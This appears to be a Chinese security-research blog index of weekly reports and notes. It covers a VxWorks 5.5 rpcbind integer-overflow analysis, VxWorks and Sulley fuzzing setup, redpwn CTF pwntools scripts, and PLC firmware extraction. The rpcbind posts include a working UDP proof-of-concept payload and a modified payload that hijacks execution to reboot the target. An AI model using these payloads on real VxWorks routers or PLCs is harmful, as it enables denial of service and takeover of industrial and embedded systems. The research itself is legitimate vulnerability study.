技能树

参考来源CTFHUB,知乎 发现自己学习的太散了,没什么进度,都是一点东西随便倒腾,总感觉自己行,但现实就是不行。 基础 Linux环境与相关工作 链接器环境指针 LD_PRELOAD LD_SHOW_AUXV 设备和文件 /proc/<pid>/maps /proc/kcore /boot/System.map /proc/kallsyms /proc/iomem ECFS ELF二进制文件 文件类型 ELF程序头 ELF节头 ELF符号 ELF动态链接 Linux进程追踪 Ptrace Ptrace调试器 Ptrace代码注入 Ptrace反调试 反Ptrace反调试 Linux二进制保护 二进制加壳器 二进制保护器 DacryFile Burneye Shiva Maya’s Veil 防模拟技术 混淆与反混淆方法 保护控制流完整性 工具 Linux常用工具 GNU binutils readelf starce Itrace ftrace 辅助工具 docker nc socat xinetd GDB调试 程序运行上下文 程序运行参数 工作目录 程序的输入输出 设置断点 简单断点 多文件设置断点 查询所有断点 观察点 条件断点 维护停止点 为停止点设定运行命令 调试代码 查看运行时数据 程序变量 自动显示 历史记录 改变程序的执行 修改变量值 跳转执行 产生信号量 强制函数返回 强制调用函数 显示源代码 调试已运行的进程 线程 查看栈信息 信号 catch 指定源文件的路径 GDB插件 Gef Peda Pwndbg Gdbinit Pwntools Context设置 IO模块 EL F模块 数据打包 数据解包 数据输出 数据处理 checksec Cyclic Pattern 汇编与shellcode DynELF checksec 三驾马车 Keystone Capstone Unicorn Windbg Ollydbg IDA Pro使用 基本指令 数据显示窗口 反汇编操作 数据类型 数据结构 交叉引用 远程调试 IDA脚本编写 漏洞挖掘 静态分析 https://github.

20200703周报 第19周

本周计划 rpc 前面已经分析到了传递参数的问题,但是其实这并不直接影响payload发挥作用,其中我们比较关键的是如何改变payload来让vxworks发生我们所期望的。 先给出payload。我们这次有所改变。 ‘0000c35B000000000000000200000000876543210000000580000019’ 所以我们直接回过头来,先看报错信息。 发现了这时候的PC其中就是payload的一部分。我们再改变一下试试看。 ‘0000c35B000000000000000200000000123456780000000580000019’ 说明这一段其实就是可以直接控制EIP了。所以我们只需要找到相对应的函数偏移地址,就可以劫持程序流了。所以我们可以先让vxworks重启试一下。 但是,这里需要注意以下几点: - vxworks没有地址随机化。 - vxworks是裁剪式系统,也就是说,对于不同的工程,生成的vxworks文件相同的一个函数的偏移不固定。 - vxworks5.5其实偏移量是固定的0x00308000,也就是说vxworks装在镜像相对于内存的偏移量是固定的。 基于以上三点,我们需要处理好的问题就是找到一个相对稳定的函数。 尝试了几个函数,最终这个函数是最稳定的,将其填充到相应位置。最终的payload是 0000c35B000000000000000200000000003081680000000580000019 让我们单步调试一下。 这里是一个整数溢出的漏洞,只需要将其添上负数,也就是最高位为1,其他的随便整,就可以跳到我们想要的地方去。 我们知道对于之前的payload,发生错误的对应位置是这个断点处。 让我们深入一下就可以知道,跳转到svcauthsw那里,可以看到是类似跳表之类的,*4的操作可以确定都是四个字节的,关键是哪一个函数可以为我们所用。 往下翻了之后发现了一个叫做svcudp_getargs的函数。 其相对于svcauthsw的位移为25,对应19H。 在关键处call edx那里我们可以看见,此时edx指向一个不知道是什么性质的内存块【估计是堆块】。 继续F7跟进一下,可以看到跳到了这里 可以看到,pop ebx; retn; 对应的机器码是0000C35B 当我们继续单步调试看看 就可以看到了EIP变成了我们payload里面对应的地址,reboot。 F9释放ida,就可以看见vxworks重启了。 既然可以拿到我们想要的信息,那么我们可以进一步取得我们想要的结果呢? 当然之前说的那三点都是不能忽略的。 第一步RCE我们已经达成。 接下来是堆喷射,下周再看看。 路由器 PLC 小结 下周计划

Vxworks5.5硬盘安装

虚拟机配置: MS-DOS 32bit 最小内存16M 硬盘1G即可 用已经修改好的vmware_bsp里面的config.h里的bootline ““ata=0,0(0,0)host:/ata0/vxworks h=192.168.150.1 e=192.168.150.102 u=target pw=target o=lnPci”” 即可 注意物理机网段配置,还有虚拟机IDE(0,0)才有效

Redpwn水题热身

coffer-overflow-0 1 2 3 4 5 6 7 8 9 from pwn import * context(arch='amd64', log_level='debug') ret = 0x000000000040053e sh = process('./coffer-overflow-0') sh = remote('2020.redpwnc.tf',31199) ans = 'x'*16 + '1'*8 ans += flat([ret,ret,ret]) sh.sendlineafter('with?',ans) sh.interactive(0) coffer-overflow-1 1 2 3 4 5 6 7 8 9 10 11 from pwn import * context(arch='amd64', log_level='info') ret = 0x000000000040053e sh = process('./coffer-overflow-1') sh = remote('2020.redpwnc.tf',31255) code = 0x00000000cafebabe ans = 'x'*24 ans += flat([code,ret,ret,ret]) sh.

20200626 第18周周报

本周计划 继续深入rpc研究 路由器探幽 rpc 对于payload 试了边界条件,8000 0000【对应最小的数值】和0000 000-7FFF FFFF【最大数值】不会发生溢出,那么也就是8000 0001-FFFF FFFF会溢出。不知道为啥8000 0000不会,因为那是负数,可能是因为是边界吧,有一些特殊的判定。 今天就来解析一下。 按照这个思路,继续下去。 可以先将数据分段 1 2 3 4 5 6 7 8 9 10 11 12 13 cc6ff7e2 #call ID 00000000 #student 1 00000002 #student 2 0001a086 #student 3 00000004 #student…… 00000004 88888888 00000011 00000011 00001111 11111111 11111111 111111 我们再重新整理一下思路,如果想要读懂这一块代码,就去查阅一下整个函数是干嘛。 Svcudp_recv(),手上没有更加详细的源码,找到这个。 http://en.verysource.com/code/24037282_1/svc_udp.c.html 第一个参数是xprt,第二个是msg xprt = svcudp_create(sock); 再找到到svcudp_create() 对于这个svcudp_bufcreate()可以查阅到资料 svcudp_bufcreate(sock, sendsz, recvsz) 所以,到这里我们可以暂时不用向上追溯。 回过头来,xprt就是一个接收套接字,内存里面重新开拓了一块空间。 接下来可以看看就是是svcudp_recv里面的xdr_callmsg()函数

20200619 第十七周周报

本周计划 深入rpc崩溃关系 实物采购与测试 rpc 对于路由器来说,SVC可以说是从硬件到操作系统到应用层的一个具体过渡。 对于svc来说,是有svctcp_recv, svcraw_recv 和 svcudp_recv的。 当然,对于RPC来说自然就是UDP。 这里乍一看是可以看到有具体的一个函数,recvfrom是一个关键函数。 所以我们关键就是要找到第二个缓冲区的地点就行了。 关键就是找到第二个地址 也就是这个ecx,这个时候的ecx的值是0Xfee3024这个地址。当运行完recvfrom之后,这个地址就会有我们想要的东西。 随便在recvfrom之后随便下个结点,F9 然后就可以看到这个地方出现了。 这个就是整个payload的拷贝,从图中的信息可以判断出,不是栈溢出,不是堆溢出。 我们可以先从程序的报错代码中找到我们需要的报错信息。 之前是已经分析好了程序,基本上的问题都是出现在eax寄存器上,我们只需要对这个寄存器进行回溯操作,也就是在这个出现问题的程序段上开头按下F2,。也就是下一个断点,这样程序往下面走我们就可以看见我们想要的值,最先出现在什么地方。 根据这个地方,我们可以确定内存地址,进而推断出进一步的调用关系。 可以看得到,基本上内存里面一个堆块,存储了payload的一半以上的信息,但是对于后面的那一段payload具体在什么地方,我们现在还没有定论,所以,可以先按照这个地址展开来看。 图中的圆圈就是我们找到的对应的payload。 回去看看伪代码我么可以知道这个具体的函数就是一个传参的过程,也就是说,这个payload是从a2这个地方继承过来的。 首先,我们关注一下这个a2的地址和数据,同时a1这个地址也请注意一下,因为是从上面继承来的,0XFEF39B4 找到gcc2_compiled__312上一级函数svc_getreqset 当前出问题的这个函数是svc_getreqset 根据基层调用关系,我们可以得出这样的结论。 第一层出现问题的是gcc2_compiled__312 调用gcc2_compiled__312的是svc_getreqset svc_getreqset上一层是svc_run SVC是交换虚拟电路,信息包交换虚拟线路面向连接的网络中,从一台计算机到另一台计算机的连接。SVC是虚拟的,因为路径是从路由表中得到的,而不是建立物理线路。SVC是交换的,因为它能按需要建立,类似于一次电话呼叫。 从函数的调用关系可以看来,对于svc_run–>svc_getreqset–> gcc2_compiled__312是一个请求号,也就是说,系统是已经接受到了看似合理的请求,而造成这个的错误并不是一半的填充数据覆盖eip之类的,也就是说在从驱动拷贝到内存的过程当中,并没有出现一般的栈溢出或者堆溢出,不然会有其他的报错。 在分析的过程当中,我们经常可以看见一个命名就是taskIDcurrent这个值,从指针传递的值可以看到一直有一个值是0XFEF3B94,这个其实是portmap这个任务的栈基址 从“In addition, multithreaded RPC servers must call on svc_run(). Note that svc_getreqpoll() and svc_getreqset() are unsafe in MT applications.” 可以看出,对于svc_run–>svc_getreqset–> gcc2_compiled__312这里其实是一个不太安全的方法。 那么问题出现在哪里呢? 细数下来,我们的请求在复制的过程中并没有发生故障,相反的,反而在执行的时候出现了问题。排除了堆溢出、栈溢出和字符串格式化漏洞,那么还有一个极其隐晦的整数溢出漏洞。 不论只要保持88888888前面的长度,后面的长度可以截断,这就可以判断出不是栈溢出或者堆溢出之类的,实测有效。 所以,总的下来,出现问题的函数就是在执行请求那里出现了问题,那么也还是回到最初的函数那里可以看到,gcc2_compiled__312。 当eax为88888888乘以四之后就会溢出。 整数溢出漏洞。 路由器初探 1 nmap -sU -sT -p1-65535 -A *** 水星MW300R 可能这个硬件太老了,毕竟是二手货。

Vxworks下的ftp模糊测试

Vxworks5.5的fuzz Sulley的安装 \1. 下载好资源。 \2. 双击Git-2.10.0-32-bit.exe默认安装后,添加环境变量C:\Program Files (x86)\Git\cmd \3. 解压sulley,进入到sulley文件夹内的requests当中,里面集成了基本上的所有需要的库。 \4. 首先安装python2.7.9 选择面向所有用户,因为这个要满足远程桌面的登陆 \5. 接下来选择默认的路径即可,完全安装在电脑上,这样就不用自己安装环境变量 \6. 然后打开cmd,输入%USERPROFILE%\这样弹出个人文件夹 \7. 新建一个文件夹pip,里面新建一个pip.ini文件,输入一下文本 [global] timeout=300 index-url = https://pypi.tuna.tsinghua.edu.cn/simple \8. 然后进入模糊测试框架sulley里的requests文件夹,我们来装环境 D:\SOFTWARE\sulley\requests \9. 先双击gcc-mingw-4.3.3-setup (1).exe安装gcc编译器,后面用的到 注意这里只勾选第一个。其他保持默认即可,最后C:\mingw\bin填入环境变量,重启一下虚拟机。 \10. 先安装pydbg,cmd进入pydbg-master文件夹,然后python setup.py install \11. 再退回上一级,cmd进入*****\sulley\requests\libdasm-1.5\pydasm的目录,然后依次运行python setup.py build_ext -c mingw32,python setup.py install \12. 先测试sulley第一个脚本是否能正常工作,退回到sulley的目录,D:\SOFTWARE\sulley,然后运行python process_monitor.py 没有报错,说明正常,可以继续 \13. 然后进入pcapy-master文件夹,首先需要配置好一个文件,注意路径选择自己的,这里我就先放出我的路径的命令:python setup.py build_ext -c mingw32 -I “D:\SOFTWARE\sulley\WpdPack\Include” -L “D:\SOFTWARE\sulley\WpdPack\Lib”,然后在运行python setup.py install就行 \14. 然后退回requests级目录,找到一个WinPcap_4_1_3.exe双击安装,这个是网卡抓包工具。默认安装即可。 \15. 再进入requests\impacket-master目录下,运行python setup.py install,有可能会有一下报错 \16. 这时候,我们找到目录下有一个requirements.txt的文件,双击打开,看到一些库的配置,手动安装库pip install future six pyasn1 pycryptodomex pyOpenSSL ldap3 ldapdomaindump flask impacket跑完即可 \17.

Vxworks安装过程

Vxworks 6.8+Workbench 3.2 VxWorks 5.5+Tornado V2.2 for Pentium 虚拟机安装过程 资源准备: 链接:https://pan.baidu.com/s/1MDmy9vWr3lWHMnaXx7zGRA 提取码:osp0 环境:Win10-64 Pro && VMware Workstation 15 Workbench3.2的VM安装 先提前安装好VM虚拟机,同时从网盘里面下载好文件。 首先提前说一点的是,网上很多教程对于VxWorks5.5和VxWorks6.8的安装都是大致相同的,但是其中有一个很重要的点,就是对于ln97xEnd驱动,其是Tornado2.2制作出来的板级支持包BSP中的引导文件内置的网卡驱动,实测VMware上是使用不了的。考虑到新版本的驱动是向下兼容的,所以我们采用Workbench里面的驱动来引导VxWorks,不论是5.5和6.8都能很好的支持网卡驱动。 Workbench安装在VM里面的Win7! ​ 因为考虑到后面需要更改网卡的mac地址,安装在物理机,即便安装好了也用不了。 先打开“WorkBench3.2”文件夹,可以看到这些文件。 1、 先将“DVD-R175636.1-1-00.iso”文件装载到光驱 2、 然后打开之后都以默认选项进行 3、 这一步都不要选,直接下一步 4、 选择提供的lic文件后下一步即可 5、 对于“DVD-R177875.1-1-00.iso”也是类似的,永久安装好即可。 6、 到了最关键的一步,修改VM的mac地址 7、 如上图所示,按照lic文件里面修改好虚拟机的MAC地址,否则会有以下的报错 他会检查hostid和mac两个项目。 8、 成功后,就可以成功启动。 修改BSP 首先,我们复制一份纯净未做修改的 C:\WindRiver\vxworks-6.8\target\config\下的 pcPentium4文件夹,改名为 Pentium4(名称随便你起),再将该改名后文件夹放到config目录下,最好不要带空格或什么特殊符号。 我们要修改编译 bootrom、VxWorks 的配置头文件 Config.h 中定义的一些参数,使编译出来的系统引导程序 bootrom 和 VxWorks 的映象符合我们的要求; 1 修改config.h 定位到目录 C:\WindRiver\vxworks-6.8\target\config\Pentium4并打开该目录下 config.h 文件; 定位到“INCLUDE_CPU_PROBE”,更改成如下: #undef INCLUDE_CPU_PROBE /* define to perform sysCpuProbe() */

Rpcbind调试日志

Vxworks网络服务简析 漏洞触发脚本: 1 2 3 4 5 6 7 8 import socket import sys PAYLOAD_HEX = 'cc6ff7e200000000000000020001a086000000040000000488888888000000110000001100001111111111111111111111111111' def poc(host, rpcPort=111): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(PAYLOAD_HEX.decode('hex'), (host, rpcPort)) if __name__ == '__main__': poc(sys.argv[1]) 崩溃场景: Vxworks的服务由netTask函数总统领: 这里还有一个惊喜之处就是找到了栈溢出的字符串。在这个函数下面使用了许多函数指针来进行传参,这对分析造成了困难,同时由于这个特性,也没办法利用IDA的流程图重建功能来进行分析,所以打算对比一下不同端口、不同服务的函数流程的差别: 经过分析后发现只要是UPD服务,走的都是这一条路线: 查询了网络上相关资料知道在Vxworks中在硬件接口和传输层之间增加了一个叫做mux层的东西,其作用是屏蔽复杂的硬件环境。所以在Vxworks中,muxRecieve这个函数很重要,另外在这个函数中调用了一个函数指针: 该函数指针根据不同的任务来设置不同的值,多次调试下来有两个值:ipReceiveRtn和wdbEndInt 通过wireshark进行分析,可以了解到:ipReceiveRtn是发包函数,而wdbEndInt是收包函数。但是并没有看出来其将收起来的数据放在了何方。 总而言之,其网络结构为: 在系统初始化时启动NetTask任务,该任务用于监听网络服务,在NetTask任务下有一个MUX层,该层根据网络上的公开资料是一个位于硬件层和软件层的接口,网络编程者不直接和硬件层打交道,而是和MUX层打交道。对于目前尝试过的网络协议(ICMP,UDP),Mux层只看到了MuxRecieve函数,该函数负责数据包的接受和发送,调用wdbEndInt函数接受网络数据包,调用IpReceiveRtn函数发送数据包。这个总结不能说是对的,只能说是目前看来是这样的。 RPCBIND服务漏洞解析进度日志 在NetTask这个任务下,有一个函数指针: 经过分析发现: \1. 该函数指针在没有数据包传递时,函数指针在没有数据包传递时,在pfslowtimo、pfslowtimo、if_slowtimo这三个函数中循环传递。 关于这三个函数,在网络上进行搜索后发现似乎和网卡内核有关系:https://blog.csdn.net/u012566181/article/details/20402761?utm_source=blogxgwz1 \2. 在有网络数据包的时候,该函数指针会指向一次ln97xHandleRecvInt。 \3. 在执行payload的时候,同样会执行一次ln97xHandleRecvInt,但是有时候之后有时候会执行ln97xTRingScrub,有时候则不会。 另外挺想知道Vxworks的输出函数是什么的,但是直接调试由于系统的复杂性,很难调试出来,突然想到了可以通过printf函数的实现代码来看到底是怎么输出的: 可以看到在printf函数里面调用了fioFormatV这个函数,进入这个函数可以看到这个函数相当复杂。 基本上算是和硬件打交道的函数,所以查找fioFormatV这个函数的引用: 找到了一个叫printErr的函数,在该函数下断点,果然找到了报错函数: 其中a1是这样的一个字符串: 再看一下报错信息: 可以看到确实就是该函数的报错信息,接下来就是查看什么情况下会调用这个函数了。 综合以上信息,可以利用IDA的跟踪功能来跟踪其函数调用过程,关键是在什么地方作为开头,什么地方作为结束,综合以上的消息,第一次下断点我开头断在netTask的函数指针处,结束位置我选择在printErr这里。 跟同事探讨了一下,重新整理了一下思路。 因为我们都知道在vxworks当中是没有进程的概念,自然也没有线程的概念,其内存管理也是实模式下进行的,为了保证效率,他们只有任务的概念,其实就是函数的调用,一个函数就是一个任务,因此是有一个循环会不断的检查信息的变化,然后查询到相关的函数进行调用。 可以看到,崩溃的tPortmapd函数PC是运行到0x3ad3bc。 这时候我们有两个思路,对于这个指令的地址, l 是因为栈溢出而填充的覆盖到的 l 是因为在操作栈的时候,破坏了其他函数任务的栈结构

Vxworks符号表修复

Vxworks的符号表修复 测试用PLC文件: NOE77101_Firmware-master.zip 固件提取 先从施耐德官网下载NOE77101的固件,解压后文件树如下: ./FLASH0 ├── fw │ ├── 1 │ ├── crashlog.txt │ ├── fw.ini │ ├── hw.ini │ └── WebServer.OUT ├── rdt │ └── password.rde ├── webloader.ini └── wwwroot ├── classes │ ├── jvmver.jar │ ├── RDE.jar │ ├── rdelite.jar │ ├── SAComm.jar │ ├── SysDiag.jar │ ├── webcfg.jar │ ├── webdiag.jar │ ├── XMLParser.jar │ └── xmlrpc-1.1.jar ├── conf │ ├── diag │ │ └── chkdsk.out